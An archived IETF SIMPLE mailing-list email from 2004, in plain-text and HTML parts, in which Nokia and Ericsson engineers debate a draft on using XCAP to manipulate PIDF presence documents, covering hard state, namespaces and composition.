x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400F3.AA901BBB"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5B27@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQAzEdafG3BPCx8QDaGqUv+FFY7RAACXK7Q
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 07:46:40.0708 (UTC) FILETIME=[AA477840:01C400F3]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 09:46:41 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400F3.AA901BBB
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi George,
=20
Section 4.7 in XCAP defines the following:
=20
   A server is required to understand the baseline schema defined
   by the application usage. However, those schemas can define points of
   extensibility where new content can be added from other namespaces
   and corresponding schemas. Sometimes, the server will understand
   those namespaces and therefore have access to their schemas.
   Sometimes, it will not.

   A server MUST allow for documents that contain elements from
   namespaces not known to the server. In such a case, the server cannot
   validate that such content is schema compliant; it will only verify
   that the XML is well-formed.
=20
In this case the baseline schema is the one defined in PIDF =
soon-to-become RFC. RPID, CIPID etc. extend PIDF in the allowed points =
of extensibility. There is nothing in those namespaces that the server =
really needs to understand. This means that the mandatory-ns mechanism =
(which itself will probably change in the next rev of XCAP), would not =
be needed.
=20
Does this clarify your concerns?
=20
Markus=20

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 05:03
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,
I would like to adrress the following statement below that I cut from =
the original exchange:
=20
1)  First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
/gf
There is no  stand alone "hard state" PIDF document that is defined =
today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly =
verify operations.
What you have in mind, I think, is a number of tuples from various =
defined presence documents (PIDF, RPID, etc..) that you want to manage =
using XCAP.
=20
Unless you create such a *stand alone* XMP document for hard states, I =
dont beleive that you can do what you want with XCAP, without creating =
interoperability problems, or open the door for abuses that would =
require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
=20
This is where I beleive that what you want can only be done with a *new =
stand-alone* XML  document. For example, the XCAP framework requires the =
inclusion of the mandatory-ns element, if you would include in the XML =
document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are =
not part of PIDF, rather other presence documents.
So how would that work then.
=20

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
=20
OK, this time I understood your points much better.
=20
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments =
on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF =
Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
/gf=20
Agree, but how do you prevent users, from using XCAP from manipulating =
presence soft states.
I assume that all the presence tuples are part of the same presence =
document.=20
Now you are advocating selective manipluation of some tuples and not =
others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
=20
[MI] OK, I think I know what you mean. The model for how the final =
presence document is put together is shown in the draft in Chapter 3. =
First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
 2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism. =20
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session. =20
=20
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite =
a lot, not to mention slow things down, to make it more generic.=20
gf/=20
=20
[MI] I think you are right on this one, my previous statement was wrong. =
XCAP can have problems with handling *any* XML document, if the selector =
construction will be restricted to only limited number of possibilities. =
However, see Jonathan's mail attached to this mail. Based on this I =
assume PIDF would still be OK for XCAP as it is now.
=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.=20
=20
/gf
For event packages we have a template that have to be filled by for =
anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the =
event package approach. (forget about the content for your application)
I am not sure if I am clear on that one.=20
gf/=20
=20
[MI] OK, I got the question, thanks. Yes, we tried to follow the =
structure/template how Jonathan has defined the other existing XCAP =
application usages. So it should be according to how XCAP AUs are =
ssupposed to be specified.=20
=20
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.=20
=20
/gf
The complexities will arise if we allow users to do selective =
manipulation, using XCAP, for certain tuples *only*, and using PUBLISH =
for the remaining tuples.
So I need to see your answer first to my response to your first  bullet =
before I go further
 gf/=20
=20
[MI] As I explained above, you can already PUBLISH several documents and =
there has to be a way to do composition. So the complexity is already =
inbuilt in SIMPLE, it is not in this sense extended here.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_001_01C400F3.AA901BBB
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Hi=20
George,</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Section 4.7 in XCAP defines the following:</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial>&nbsp;&nbsp; A =
server is=20
required to understand the baseline schema defined<BR>&nbsp;&nbsp; by =
the=20
application usage. However, those schemas can define points =
of<BR>&nbsp;&nbsp;=20
extensibility where new content can be added from other=20
namespaces<BR>&nbsp;&nbsp; and corresponding schemas. Sometimes, the =
server will=20
understand<BR>&nbsp;&nbsp; those namespaces and therefore have access to =
their=20
schemas.<BR>&nbsp;&nbsp; Sometimes, it will not.<BR><BR>&nbsp;&nbsp; A =
server=20
MUST allow for documents that contain elements from<BR>&nbsp;&nbsp; =
namespaces=20
not known to the server. In such a case, the server =
cannot<BR>&nbsp;&nbsp;=20
validate that such content is schema compliant; it will only=20
verify<BR>&nbsp;&nbsp; that the XML is well-formed.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>In=20
this case the baseline schema is the one defined in PIDF soon-to-become =
RFC.=20
RPID, CIPID etc.&nbsp;extend PIDF in&nbsp;the allowed points of =
extensibility.=20
There is nothing in those namespaces&nbsp;that the server&nbsp;really =
needs to=20
understand.&nbsp;This means that the mandatory-ns mechanism (which =
itself will=20
probably change in the next rev of XCAP), would not be=20
needed.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Does=20
this clarify your concerns?</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Markus</FONT>&nbsp;</SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  05:03<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation=20
  Usage-00draft (was RE: Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D769514202-03032004>Hi =
Markus,</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D+0><FONT size=3D+0><FONT size=3D+0><FONT =
size=3D+0><FONT face=3DArial=20
  color=3D#0000ff size=3D2><SPAN class=3D769514202-03032004>I would like =
to adrress=20
  the following statement below that I cut from the original=20
  exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D+0><FONT size=3D+0><FONT size=3D+0><FONT =
size=3D+0><FONT face=3DArial=20
  color=3D#0000ff size=3D2><SPAN=20
  =
class=3D769514202-03032004></SPAN></FONT></FONT></FONT></FONT></FONT>&nbs=
p;</DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity =
can publish=20
  several PIDF documents using SIP PUBLISH. Then, she can have a single =
"hard=20
  state" PIDF&nbsp;document manipulated with XCAP. All of these can =
contain any=20
  number of tuples. All this is fed into magic called "event state =
compositor",=20
  which produces a single consistent presence document. The fact that =
the=20
  compositor logic has been left as implementation specific is a feature =
(or a=20
  deficiency) in SIMPLE, and this draft makes it no worse. I agree that =
there=20
  will be interoperability issues with how things with the composition=20
  definition are at the moment, but this draft does not cause the=20
  problem.</FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>/gf</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>There is no&nbsp; stand alone "hard state" =
PIDF=20
  document that is defined today that can be solely managed by=20
  XCAP.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>XCAP=20
  requires an XML document with an XML schema to be able to properly =
verify=20
  operations.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>What=20
  you have in mind, I think, is a number of tuples from various defined =
presence=20
  documents&nbsp;(PIDF, RPID, etc..) that you&nbsp;want to manage using=20
  XCAP.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>Unless you create such a&nbsp;*stand alone* =
XMP=20
  document for hard states, I dont beleive that you can do what you want =
with=20
  XCAP, without creating interoperability problems, or open the door for =
abuses=20
  that would require complexities to overcome.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2><SPAN class=3D769514202-03032004></SPAN></FONT><FONT =
face=3DArial=20
  color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>gf/</SPAN></FONT></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>2)=20
  Based on this I assume PIDF would still be OK for XCAP as it is=20
  now.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>This=20
  is where I beleive that what you want can only be done with a *new=20
  stand-alone* XML &nbsp;document. For&nbsp;example, the =
XCAP&nbsp;framework=20
  requires the inclusion of the mandatory-ns element, if you would =
include in=20
  the XML document managed by XCAP, elements from other name=20
  spaces.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>That=20
  today is not part of PIDF.&nbsp; The tuples you want XCAP to manage =
are not=20
  part of PIDF, rather other presence documents.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>So=20
  how would that work then.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
Markus.Isomaki@nokia.com=20
    [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, =
2004=20
    9:23 PM<BR><B>To:</B> George Foti (QA/EMC);=20
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation =

    Usage-00draft (was RE: Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Hi,</FONT></SPAN></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>OK, this time I understood your points much=20
    better.</FONT></SPAN></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Comments&nbsp;starting with [MI] =
inline:</FONT></SPAN></DIV>
    <BLOCKQUOTE=20
    style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid">
      <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti (QA/EMC)=20
      [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
      03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
      simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation=20
      Usage-00draft (was RE: Comments on=20
      draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
      <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
      class=3D509473301-03032004>Sorry, I had the wrong draft in the =
subject, but=20
      I meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
      <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
      class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
      <BLOCKQUOTE dir=3Dltr=20
      style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid; MARGIN-RIGHT: 0px">
        <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
        size=3D2>-----Original Message-----<BR><B>From:</B>=20
        Markus.Isomaki@nokia.com=20
        [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March =
02,=20
        2004 8:24 PM<BR><B>To:</B> George Foti (QA/EMC);=20
        simple@ietf.org<BR><B>Subject:</B> RE: Comments on=20
        draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>Hi George,</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>First of all, the document you are referring to has =
been updated=20
        with this one:</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2><A=20
        =
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>I'll submit the WG version shortly after the meeting. =
The changes=20
        compared to the version you&nbsp;read&nbsp;are mainly =
clarifications, so=20
        I think your comments would apply to the new draft as well. My =
anwers to=20
        each point below:</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>1) XCAP operations are hard state by nature, no =
refreshing is=20
        needed, so this is inherently hard state manipulation.=20
        </FONT></SPAN></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></=
DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>Agree, but how=20
        do you prevent users, from using XCAP from manipulating presence =
soft=20
        states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>I =
assume that=20
        all the presence tuples are part of the same presence document.=20
        </SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now =
you are=20
        advocating selective manipluation of some tuples and not others =
using=20
        XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have =
I=20
        misunderstood something here =
?</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>How =
will you=20
        enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
        <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><SPAN=20
        class=3D182215601-03032004>[MI] OK, I think I know what you =
mean. The=20
        model for how the final presence document is put together is =
shown in=20
        the draft in Chapter 3. First,&nbsp;a presentity can publish =
several=20
        PIDF documents using SIP PUBLISH. Then, she can have a single =
"hard=20
        state" PIDF&nbsp;document manipulated with XCAP. All of these =
can=20
        contain any number of tuples. All this is fed into magic called =
"event=20
        state compositor", which produces a single consistent presence =
document.=20
        The fact that the compositor logic has been left as =
implementation=20
        specific is a feature (or a deficiency) in SIMPLE, and this =
draft makes=20
        it no worse. I agree that there will be interoperability issues =
with how=20
        things with the composition definition are at the moment, but =
this draft=20
        does not cause the problem.</SPAN></SPAN></SPAN></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>&nbsp;</SPAN>2)=20
        The default model I have in mind is that each presentity would =
have=20
        exactly one persistent device-independent presence document that =
would=20
        be manipulated by XCAP. That would be fed to the composition =
logic to=20
        complement the PUA/device-specific documents published using SIP =
PUBLISH=20
        mechanism.<SPAN =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>XCAP is meant to be a generic=20
        XML-manipulation mechanism, so there should be nothing specific =
in this=20
        application usage. Once the base XCAP is finished, we'll see =
what the=20
        exact mechanisms to mandate supported namespaces are, and we'll =
adopt=20
        that convention in this draft too. This is probably still =
changing from=20
        xcap-02 draft, as was discussed in SIMPLE session.&nbsp;<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>Not totally=20
        true</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>XCAP have a=20
        limited set of rules for HTTP URI=20
        creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN=20
        class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
        size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not =
meant for *any*=20
        XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
